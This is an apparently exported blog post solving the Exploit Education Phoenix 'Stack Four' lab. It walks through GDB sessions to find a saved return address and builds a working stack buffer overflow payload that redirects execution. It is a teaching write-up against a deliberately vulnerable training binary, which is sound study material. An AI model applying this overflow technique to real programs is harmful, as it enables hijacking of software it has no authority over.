{"id":440,"date":"2019-07-09T11:33:12","date_gmt":"2019-07-09T15:33:12","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=440"},"modified":"2019-08-16T13:19:19","modified_gmt":"2019-08-16T17:19:19","slug":"exploit-education-phoenix-stack-four-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-four-solution\/","title":{"rendered":"Exploit Education | Phoenix | Stack Four Solution"},"content":{"rendered":"

Stack Four<\/h1>\n

The description and source code can be found here:
\nhttps:\/\/exploit.education\/phoenix\/stack-four\/<\/a><\/p>\n

For this program, we’ll need to overwrite the return address saved on the stack from calling the start_level()<\/span> function to redirect the flow of execution to the complete_level()<\/span> function:<\/p>\n

void complete_level() {\r\n    printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\\n");\r\n    exit(0);\r\n}\r\n\r\nvoid start_level() {\r\n    char buffer[64];\r\n    void *ret;\r\n\r\n    gets(buffer);\r\n\r\n    ret = __builtin_return_address(0);\r\n    printf("and will be returning to %p\\n", ret);\r\n}\r\n\r\nint main(int argc, char **argv) {\r\n    printf("%s\\n", BANNER);\r\n    start_level();\r\n}<\/pre>\n
Let’s fire up stack-four in GDB to figure out, exactly, where in the stack the return address is:<\/p>\n
user@phoenix-amd64:\/opt\/phoenix\/amd64$ gdb -q stack-four \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n[*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from stack-four...(no debugging symbols found)...done.\r\nPython Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\\u27a4' in position 12: ordinal not in range(128): \r\n(gdb)<\/pre>\n
SIDE NOTE:<\/strong> You may notice a few things after starting GDB here. First, this isn’t your typical “stock” GDB. It comes with GEF (GDB Enhanced Features)<\/a> pre-installed to help make our lives easier (though I won’t be needing its features for this level). Second, there’s an error on the line right before the command prompt that shows itself every time you enter a command. And if you’re familiar with GEF, you may have noticed that the prompt should show gef><\/span> instead of (gdb)<\/span>. This can be easily fixed. Quit GDB and run the following command to prevent GEF from using a Unicode character in its prompt:<\/p>\n
sudo sed -i 's\/\\\\u27a4 \/>\/g' \/etc\/gdb\/gef.py<\/pre>\n
Ok, let’s get back to it. First, I’ll disassemble the main()<\/span> function to see which address will be stored on the stack after the start_level()<\/span> function returns. I’ll also disassemble the start_level()<\/span> function because I’d like to place a break point right after the gets()<\/span> function is called. That way we can see the user input being stored on the stack.<\/p>\n
user@phoenix-amd64:\/opt\/phoenix\/amd64$ gdb -q stack-four \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n[*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from stack-four...(no debugging symbols found)...done.\r\ngef> disas main\r\nDump of assembler code for function main:\r\n   0x000000000040066a <+0>:     push   rbp\r\n   0x000000000040066b <+1>:     mov    rbp,rsp\r\n   0x000000000040066e <+4>:     sub    rsp,0x10\r\n   0x0000000000400672 <+8>:     mov    DWORD PTR [rbp-0x4],edi\r\n   0x0000000000400675 <+11>:    mov    QWORD PTR [rbp-0x10],rsi\r\n   0x0000000000400679 <+15>:    mov    edi,0x400750\r\n   0x000000000040067e <+20>:    call   0x400480 <puts@plt>\r\n   0x0000000000400683 <+25>:    mov    eax,0x0\r\n   0x0000000000400688 <+30>:    call   0x400635 <start_level>\r\n   0x000000000040068d <+35>:    mov    eax,0x0\r\n   0x0000000000400692 <+40>:    leave\r\n   0x0000000000400693 <+41>:    ret\r\nEnd of assembler dump.\r\n\r\ngef> disas start_level\r\nDump of assembler code for function start_level:\r\n   0x0000000000400635 <+0>:     push   rbp\r\n   0x0000000000400636 <+1>:     mov    rbp,rsp\r\n   0x0000000000400639 <+4>:     sub    rsp,0x50\r\n   0x000000000040063d <+8>:     lea    rax,[rbp-0x50]\r\n   0x0000000000400641 <+12>:    mov    rdi,rax\r\n   0x0000000000400644 <+15>:    call   0x400470 <gets@plt>\r\n   0x0000000000400649 <+20>:    mov    rax,QWORD PTR [rbp+0x8]\r\n   0x000000000040064d <+24>:    mov    QWORD PTR [rbp-0x8],rax\r\n   0x0000000000400651 <+28>:    mov    rax,QWORD PTR [rbp-0x8]\r\n   0x0000000000400655 <+32>:    mov    rsi,rax\r\n   0x0000000000400658 <+35>:    mov    edi,0x400733\r\n   0x000000000040065d <+40>:    mov    eax,0x0\r\n   0x0000000000400662 <+45>:    call   0x400460 <printf@plt>\r\n   0x0000000000400667 <+50>:    nop\r\n   0x0000000000400668 <+51>:    leave\r\n   0x0000000000400669 <+52>:    ret\r\nEnd of assembler dump.\r\n\r\ngef> b *0x0000000000400649\r\nBreakpoint 1 at 0x400649<\/pre>\n
The disassembly of the main()<\/span> function shows that after the start_level()<\/span> function returns, it will execution at the address 0x0040068d. That’s what I’ll be looking for on the stack. And as you can see, I placed a break point at 0x400649. Next, I’ll run the program and fill the “buffer<\/strong>” variable with 64 characters. I use an A at the beginning, B’s in the middle, and a C at the end so it’s easy for me to see where, on the stack, this data starts and stops.<\/p>\n
gef> run <<< $(python -c 'print "A" + "B"*62 + "C"')                             \r\nStarting program: \/opt\/phoenix\/amd64\/stack-four <<< $(python -c 'print "A" + "B"*62 + "C"')\r\nWelcome to phoenix\/stack-four, brought to you by https:\/\/exploit.education\r\n\r\nBreakpoint 1, 0x0000000000400649 in start_level ()\r\n\r\n[... GEF output snipped ...]<\/pre>\n
After reaching the break point, we can examine the contents of the stack starting at the stack pointer register. I can either manually look for the return address that I had identified earlier (0x0040068d) and calculate the location in my head (which is error-prone), or I can use GDB’s “find” command:<\/p>\n
gef> x\/24x $sp\r\n0x7fffffffe5f0: 0x42424241      0x42424242      0x42424242      0x42424242\r\n0x7fffffffe600: 0x42424242      0x42424242      0x42424242      0x42424242\r\n0x7fffffffe610: 0x42424242      0x42424242      0x42424242      0x42424242\r\n0x7fffffffe620: 0x42424242      0x42424242      0x42424242      0x43424242\r\n0x7fffffffe630: 0xffff0000      0x00007fff      0xffffe660      0x00007fff\r\n0x7fffffffe640: 0xffffe660      0x00007fff      0x0040068d      0x00000000\r\n\r\ngef> find 0x7fffffffe5f0, +96, 0x0040068d\r\n0x7fffffffe648\r\n1 pattern found.<\/pre>\n
Another option is to use GDB’s “info frame” command and see where RIP is at under “Saved registers:”<\/p>\n
\r\ngef> info frame\r\nStack level 0, frame at 0x7fffffffe650:\r\n rip = 0x400649 in start_level; saved rip = 0x40068d\r\n called by frame at 0x7fffffffe670\r\n Arglist at 0x7fffffffe640, args:\r\n Locals at 0x7fffffffe640, Previous frame's sp is 0x7fffffffe650\r\n Saved registers:\r\n  rbp at 0x7fffffffe640, rip at 0x7fffffffe648<\/pre>\n
So now we know that the return address we’re looking for (0x0040068d) is at memory location 0x7fffffffe648 and the start of the “buffer<\/strong>” variable is at 0x7fffffffe5f0. Next, we need to calculate how many bytes difference that is. I can use a calculator in programmer mode, or I can let GDB do the math. Once I have that value, I’ll continue the execution and let the program exit:<\/p>\n
gef> printf "%i\\n", 0x7fffffffe648 - 0x7fffffffe5f0\r\n88\r\n\r\ngef> c\r\nContinuing.\r\nand will be returning to 0x40068d\r\n[Inferior 1 (process 331) exited normally]<\/pre>\n
Next, we need to get the address of the complete_level()<\/span> function. You can either “disassemble complete_level” in GDB and use the first address shown, or grep the output of objdump:<\/p>\n
user@phoenix-amd64:\/opt\/phoenix\/amd64$ objdump -d stack-four | grep complete_level\r\n000000000040061d <complete_level>:<\/pre>\n
So we need to overwrite the return address on the stack with 0x40061d. Let’s test it in GDB and check out the contents of the stack before continuing execution & verifying it worked (Note: If you quit GDB to use the objdump command, you’ll need to set your break point at 0x400649 again):<\/p>\n
gef> run <<< $(python -c 'print "A"*88 + "\\x1d\\x06\\x40"')\r\nStarting program: \/opt\/phoenix\/amd64\/stack-four <<< $(python -c 'print "A"*88 + "\\x1d\\x06\\x40"') Welcome to phoenix\/stack-four, brought to you by https:\/\/exploit.education Breakpoint 1, 0x0000000000400649 in start_level () [... GEF output snipped ...] gef> x\/24x $sp\r\n0x7fffffffe5f0: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe600: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe610: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe620: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe630: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe640: 0x41414141      0x41414141      0x0040061d      0x00000000\r\n\r\ngef> c\r\nContinuing.\r\nand will be returning to 0x40061d\r\nCongratulations, you've finished phoenix\/stack-four :-) Well done!\r\n[Inferior 1 (process 354) exited normally]<\/pre>\n
Excellent! And just for good measure, we can test it in Bash:<\/p>\n
user@phoenix-amd64:\/opt\/phoenix\/amd64$ python -c 'print "A"*88 + "\\x1d\\x06\\x40"' | .\/stack-four \r\nWelcome to phoenix\/stack-four, brought to you by https:\/\/exploit.education\r\nand will be returning to 0x40061d\r\nCongratulations, you've finished phoenix\/stack-four :-) Well done!<\/pre>\n","protected":false},"excerpt":{"rendered":"
Stack Four takes a look at what can happen when you can overwrite the saved instruction pointer (standard buffer overflow) … Continue readingExploit Education | Phoenix | Stack Four Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-440","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/440","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=440"}],"version-history":[{"count":2,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/440\/revisions"}],"predecessor-version":[{"id":685,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/440\/revisions\/685"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=440"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=440"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=440"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}